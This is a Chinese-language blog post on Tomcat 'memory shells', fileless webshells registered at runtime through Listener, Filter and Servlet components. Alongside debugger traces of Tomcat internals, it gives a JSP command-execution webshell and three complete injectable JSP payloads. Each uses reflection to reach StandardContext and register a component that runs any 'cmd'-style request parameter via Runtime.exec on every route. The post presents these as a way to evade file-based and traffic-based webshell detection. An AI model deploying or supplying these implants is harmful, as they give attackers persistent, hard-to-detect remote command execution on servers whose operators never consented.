Tomcat内存马简析
2022-10-25 18:0:37 Author: RainSec(查看原文) 阅读量:10 收藏

  webshell木马配合webshell管理工具可以方便对于服务器、内网进行进一步的维权、入侵,随着对文件内容查杀、以Ai对流量特征和行为模式的查杀等等手段,普通文件形式的webshell木马可靠性越来越差。也许好不容易绕过waf传上去两分钟不到就被杀掉了,所以攻击方在近些年也慢慢的研发出“无文件”的webshell木马,即内存马。内存马的概念提出比较久的,但走进视野就近几年的事情,每隔一段时间总能看到不少师傅提出新的内存马实现方法,这里简单说下利用JavaWeb的三大组件Servle、Filter、Listener来动态注册内存马的方式。

前置知识

  jsp带回显的webshell木马:

<% if(request.getParameter("shell")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
 
%>

  request来获得用户请求,当shell字段的get请求存在时,将shell字段的请求信息当作cmd命令去执行,然后执行的结果通过getInputStream()输入流读返回结果,结果读进byte数组中,若有回显,则打印出结果。

  然而现在的内存马则将重点放在注册恶意组件上,对于Tomcat主要通过JavaWeb的Servlet、Filter、Listener这三大组件来实现。简单说下他们的功能:

  1、Servlet来处理客户端请求的动态资源,也就说我们用浏览器跳转后,请求由Servlet接受和处理,并完成响应,其中init方法在于接收客户端的第一次请求,service每次请求都会调用,destroy则是销毁用的。

  2、Filter是拦截器,作用在于拦截请求路径,init在创建Filter对象是调用。doFilter在请求到来,被拦截时执行,destroy就是销毁此对象。

  3、Listener是事件监听器,作用在于当某事件(比如点击等)在特定事件源发生时执行监听器代码,contextInitialized在Servletcontext创建时调用,contextDestroyed则在Servletcontext销毁时调用。

  加载的顺序为Listener->Filter->Servlet。

  在基于tomcat编写内存马时经常会遇到它的三个Context,及ServletContext、ApplicationContext、StandardContext,这里简单了解下:

  首先是Servlet,浏览器发送请求,浏览器接受请求后对请求作出处理,而Tomcat作为一个Servlet容器,将请求传给Servlet,并将相应返回给浏览器,而ServletContext就是servlet要实现的接口,比如路径信息或者拦截信息等。

  ApplicationContext的功能则在于实现ServletContext规范,一些对应方法的实现,例如addFilter等功能。

  而在看StandardContext时会发现,ApplicationContext调用的context方法是StandardContext实现的对象,则StandardContext其实是底层与Tomcat底层交互的内容。

Listener内存马

  既然加载顺序为Listener->Filter->Servlet,那么也根据这个顺序来调试。

  在注册一个listener时因为要匹配不同的事件,常用的分为ServletContextListener、ServletContextAttributeListener、ServletRequestAttributeListener、HttpSessionListener、ServletRequestListener、HttpSessionAttributeListener,一般常用ServletRequestListener来作内存马,因为他可以监听我们任意访问的资源,在访问资源会触发后其requestInitialized方法。

  ServletRequestListener的接口有两个事件处理方法:requestInitialized与requestDestroyed, requestInitialized(ServletRequestEvent sre)在与接受对应类型的参数,通过此参数来获得创建的对象;requestDestroyed(ServletRequestEvent sre)则是参数对象销毁时,调用此方法。知道这些就可以创建一个恶意Listener类:

@WebListener
public class ListenerShell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        String command = req.getParameter("cmd");
        if (command != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(command).getInputStream();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

  其中HttpServletRequest代表浏览器请求,HTTP的所有信息都封装在此对象中,也就是可以从中得到请求信息,后面的就是请求读取请求命令和执行命令了。

访问任意路由即可执行命令。接下来我们进行debug调试,从而知道他如何添加进去的。在我们添加的

public class ListenerShell implements ServletRequestListener {

处下断点,查看调用栈:

<init>:11, ListenerShell (com.Listener)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:150, DefaultInstanceManager (org.apache.catalina.core)
listenerStart:4691, StandardContext (org.apache.catalina.core)
.....

其中listenerStart我们跟进去看下

    public boolean listenerStart() {
        if (log.isDebugEnabled()) {
            log.debug("Configuring application event listeners");
        }

        String[] listeners = this.findApplicationListeners();
        Object[] results = new Object[listeners.length];
        boolean ok = true;

        for(int i = 0; i < results.length; ++i) {
            if (this.getLogger().isDebugEnabled()) {
                this.getLogger().debug(" Configuring event listener class '" + listeners[i] + "'");
            }

            try {
                String listener = listeners[i];
                results[i] = this.getInstanceManager().newInstance(listener);
            }
    ......

其中findApplicationListeners方法就是将我们要注册的Listener传入该方法中,其中这里demo的值为com.Listener.ListenerShell,与写代码的文件目录一致。后面将对象信息传入results里,接下来对于类型进行分类

                if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {
                    eventListeners.add(lifecycleListener);
                }

因为这里实现的是ServletRequestListener,所以分到eventListeners数组中 然后调用了getApplicationEventListeners

            eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));
            this.setApplicationEventListeners(eventListeners.toArray());
   public Object[] getApplicationEventListeners() {
        return this.applicationEventListenersList.toArray();
    }

其中返回的applicationEventListenersList,为已经注册的Listener,

    public void setApplicationEventListeners(Object[] listeners) {
        this.applicationEventListenersList.clear();
        if (listeners != null && listeners.length > 0) {
            this.applicationEventListenersList.addAll(Arrays.asList(listeners));
        }

    }

setApplicationEventListeners主要完成applicationEventListenersList清空和重新赋值的操作 ,我们注册的Listener就存储在此。接下来我们去考虑Listener是如何触发的,此时我们在

    public void requestInitialized(ServletRequestEvent sre) {

下断点进行调试,并用浏览器访问路由,打开debug,在调用栈中看到

requestInitialized:14, ListenerShell (com.Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
......

进入fireRequestInitEvent中:

    public boolean fireRequestInitEvent(ServletRequest request) {
        Object[] instances = this.getApplicationEventListeners();
        if (instances != null && instances.length > 0) {
            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
            Object[] var4 = instances;
            int var5 = instances.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Object instance = var4[var6];
                if (instance != null && instance instanceof ServletRequestListener) {
                    ServletRequestListener listener = (ServletRequestListener)instance;

                    try {
                        listener.requestInitialized(event);
                    } catch (Throwable var10) {
                        ExceptionUtils.handleThrowable(var10);
                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit"new Object[]{instance.getClass().getName()}), var10);
                        request.setAttribute("javax.servlet.error.exception", var10);
                        return false;
                    }
                }
            }
        }

        return true;
    }

代码中获得Listener的方法也是调用了getApplicationEventListeners来获取,然后遍历数组,当是要调用的事件型监听器时,用listener.requestInitialized(event)将其触发。

  现在知道Listener怎么存储了触发了,但我们还要知道如何添加Listener,这里说两种方案:

  第一种,通过setApplicationEventListeners将Listener添加到数组中。

  第二种,通过addApplicationEventListener方法来添加。

  不管哪种方案,第一步肯定是获得StandardContext类,在上面的调用栈中可以看到调用了StandardHostValve的invoke方法,我们看下:

    public final void invoke(Request request, Response response) throws IOException, ServletException {
        Context context = request.getContext();

那么我们也可以通过request来获取StandardContext。获取后我们就分别说下添加Listener的两种方案:

  第一种,通过getApplicationEventListeners获取的StandardContext中的Listener数组,并将添加我们创建的listener进去,再setApplicationEventListeners数组即可:

    Object[] objects = context.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> listenershelllist = new ArrayList(listeners);
    ListenerShell listenershell = new ListenerShell;
    listenershelllist.add(listenershell);
    context.setApplicationEventListeners(listenershelllist.toArray());

  第二种,StandardContext中有addApplicationEventListener方法,可以直接添加Listener:

    ListenerShell listenershell = new ListenerShell;
    context.addApplicationEventListener(listenershell);

附上第一种的完整代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.ArrayList" %>

<%
    class ListenerMemShell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            String command = req.getParameter("listenershell");
            if (command != null) {
                try {
                    InputStream in = Runtime.getRuntime().exec(command).getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Object[] objects = context.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> listenershelllist = new ArrayList(listeners);
    ListenerMemShell listenershell = new ListenerMemShell();
    listenershelllist.add(listenershell);
    context.setApplicationEventListeners(listenershelllist.toArray());

%>

访问jsp即注入成功后,任意路由?listenershell=command即可执行命令。

Filter内存马

  创建一个恶意Filter,恶意代码写再doFilter里:

public class FilterShell implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String command1 = request.getParameter("cmd1");
        if (command1 != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(command1).getInputStream();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {

    }

}

在web.xml里配置:

<filter>
    <filter-name>FilterShell</filter-name>
    <filter-class>com.Filter.FilterShell</filter-class>
</filter>
<filter-mapping>
    <filter-name>FilterShell</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

在正式调试之前,有几个类需要简单知道一下:

FilterDef 存储过滤器名filterName,过滤器实例filterClass,url 等基本信息
FilterConfigs存储当前上下文信息StandardContext、FilterDef 和 Filter对象等信息
FilterMaps 中主要存放了 FilterName 以及对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

我们在doFilter处下断点,访问路由,查看调用栈:

doFilter:15, FilterShell (com.Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
......

我们看下ApplicationFilterChain:

   private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
        if (this.pos < this.n) {
            ApplicationFilterConfig filterConfig = this.filters[this.pos++];

            try {
                Filter filter = filterConfig.getFilter();
                if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
                }

                if (Globals.IS_SECURITY_ENABLED) {
                    Principal principal = ((HttpServletRequest)request).getUserPrincipal();
                    Object[] args = new Object[]{request, response, this};
                    SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }

            } catch (ServletException | RuntimeException | IOException var15) {
                throw var15;
            } catch (Throwable var16) {
                Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);
                ExceptionUtils.handleThrowable(e);
                throw new ServletException(sm.getString("filterChain.filter"), e);
            }
        } else {
            try {
                if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                    lastServicedRequest.set(request);
                    lastServicedResponse.set(response);
                }

                if (request.isAsyncSupported() && !this.servletSupportsAsync) {
                    request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
                }

                if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
                    Principal principal = ((HttpServletRequest)request).getUserPrincipal();
                    Object[] args = new Object[]{request, response};
                    SecurityUtil.doAsPrivilege("service"this.servlet, classTypeUsedInService, args, principal);
                } else {
                    this.servlet.service(request, response);
                }
            } catch (ServletException | RuntimeException | IOException var17) {
                throw var17;
            } catch (Throwable var18) {
                Throwable e = ExceptionUtils.unwrapInvocationTargetException(var18);
                ExceptionUtils.handleThrowable(e);
                throw new ServletException(sm.getString("filterChain.servlet"), e);
            } finally {
                if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                    lastServicedRequest.set((Object)null);
                    lastServicedResponse.set((Object)null);
                }

            }

        }
    }

我们可以看到通过filter.doFilter(request, response, this);来调用了doFilter,然后再向前看如何获得fiter:Filter filter = filterConfig.getFilter(); 前面已经简单说过了filterConfigs是什么了,一个filterConfig是一个ApplicationFilterConfig的实现类,在ApplicationFilterChain中:

    private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

是将值传入,那么需要知道在哪初始化ApplicationFilterChain;在StandardWrapperValve#invoke中:

        ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进createFilterChain,需要关注StandardContext、filterChain、FilterMaps、FilterConfig这些的操作。代码通过

StandardContext context = (StandardContext)wrapper.getParent();

来获取当前的StandardContext,并通过

FilterMap[] filterMaps = context.findFilterMaps();

来获得filterMap,通过filter名字得到对应的filterConfig:

filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());

最后通过

filterChain.addFilter(filterConfig);

加入到filterChain中,,思路比较清晰,只要知道如何将我们想要的Filter信息添加到filterConfigs中,就可以添加到filterChain,从而触发。直接看debug信息可能直观一点:

image.png

跟刚开始介绍的一样,filterDef需要对应的filter、filterName、FilterClass;filterMaps则需要filterName、urlPattern、dispatcherMapping。还有一点是获得StandardContext,有许多资源可以加以利用,方法很多,简单写两种大佬的demo:

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

或者

    //获取servletContext
    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //获取applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //获取standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

然后就是注入jsp的代码了:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.util.HashMap" %>

<%

    class FIlterShell implements Filter {

        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("filter初始化");
        }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String FilterShell = request.getParameter("FilterShell");
        if (FilterShell != null) {
            try {
                Runtime.getRuntime().exec(FilterShell);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
        public void destroy() {

        }

}
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

    FIlterShell filter = new FIlterShell();
    String FiterName = "FilterMemShell";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(FiterName);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(FiterName);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    Field Config = standardContext.getClass().getDeclaredField("filterConfigs");
    Config.setAccessible(true);
    HashMap filterConfigs = (HashMap) Config.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(FiterName, filterConfig);
%>

  不管获得StandardContext还是添加filterConfigs其实都有不少的代码实现,但思路大概差不太多,这里只是写一种方法。

Servlet内存马

  在开始时看到有师傅用两个接口来实现内存马,分别是Servlet和HttpServlet,HttpServlet在Servlet的基础上添加了HTTP协议的处理方法,不在直接使用Servlet的service方法,而是对于Http的不同请求,分别调用doGet和doPost方法。虽然接口不同,但调用到底层差不多,这里选择实现HttpServlet来分析。编写Servlet恶意类:

public class ServletShell extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String command2 = req.getParameter("cmd2");
        if (command2 != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(command2).getInputStream();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

在web.xml注册:

    <servlet>
        <servlet-name>ServletShell</servlet-name>
        <servlet-class>com.Servlet.ServletShell</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>ServletShell</servlet-name>
        <url-pattern>/*</url-pattern>
    </servlet-mapping>

这次在ContextConfig#webconfig打断点,此方法的主要作用在于读取web.xml以及其他配置操作,可以较为形象的跟踪servlet的读取过程。查看调用栈:

webConfig:1264, ContextConfig (org.apache.catalina.startup)
configureStart:986, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:303, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:5135, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:726, ContainerBase (org.apache.catalina.core)
addChild:698, ContainerBase (org.apache.catalina.core)
addChild:696, StandardHost (org.apache.catalina.core)
manageApp:1783, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
......

里面的fireLifecycleEvent解析调用了web.xml内容

    protected void fireLifecycleEvent(String type, Object data) {
        LifecycleEvent event = new LifecycleEvent(this, type, data);
        Iterator var4 = this.lifecycleListeners.iterator();

        while(var4.hasNext()) {
            LifecycleListener listener = (LifecycleListener)var4.next();
            listener.lifecycleEvent(event);
        }

    }

从而webconfig调用此解析内容进行配置,将内容通过configureContext来创建StandWrapper

            if (this.ok) {
                this.configureContext(webXml);
            }
        } else {
            webXml.merge(tomcatWebXml);
            webXml.merge(defaults);
            this.convertJsps(webXml);
            this.configureContext(webXml);
        }

在后面通过:

this.context.addServletMappingDecoded(urlPattern, jspServletName, true);

进行url路径的添加,因为加载顺序是Listener->Filter->Servlet,所以还要之间还要对Listener,Filter进行加载,到后由loadOnStartup加载之前的wrapper,其中有一个判断需要注意下:

            if (loadOnStartup >= 0) {
                Integer key = loadOnStartup;
                ArrayList<Wrapper> list = (ArrayList)map.get(key);
                if (list == null) {
                    list = new ArrayList();
                    map.put(key, list);
                }

                list.add(wrapper);
            }

也就是说loadOnStartup大于等于0才会进行后续的操作(其实设置为0也不会进行),这个属性默认-1,表示启动的优先级,往后就成功加载了Servlet了。其中configureContext在创建Wrapper时规定了几个必要的属性:

LoadOnStartup属性:
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
ServletName属性:
wrapper.setName(servlet.getServletName());
ServletClass属性:
wrapper.setServletClass(servlet.getServletClass());

那我们加载的代码逻辑就在创建wrapper后,分别设置LoadOnStartup属性、ServletName属性以及ServletClass属性,最后通过addChild以及addServletMappingDecoded进行加载到对应路径,完整代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import"javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
     class ServletShell extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String command = req.getParameter("servletshell");
            if (command != null) {
                try {
                    InputStream in = Runtime.getRuntime().exec(command).getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }

         @Override
         protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
             doGet(req, resp);
         }

    }

    ServletShell shellservlet = new ServletShell();
    String servletname = shellservlet.getClass().getSimpleName();

    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Wrapper wrappershell = standardContext.createWrapper();

    wrappershell.setServlet(shellservlet);

    wrappershell.setLoadOnStartup(1);
    wrappershell.setName(servletname);
    wrappershell.setServletClass(shellservlet.getClass().getName());

    standardContext.addChild(wrappershell);
    standardContext.addServletMappingDecoded("/*",servletname);
%>

小结

  这里只介绍了最基本的几种内存马,对于spring默认不解析jsp的有其他的利用方式,而且字节注入内存马和其他骚操作也有很广的利用场景,不少师傅也挖到了利用链,但在实战中写内存马一定要注意路径匹配问题,一旦把路由弄乱,影响测试方的正常业务,那就糟糕了。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&mid=2247485770&idx=1&sn=1a3847750521e62a3260a18706a22ad1&chksm=cf1f2462f868ad74cc8c6debe1e3274cfd71854e071791536cb57d87e6708063738baf40a292#rd
如有侵权请联系:admin#unsafe.sh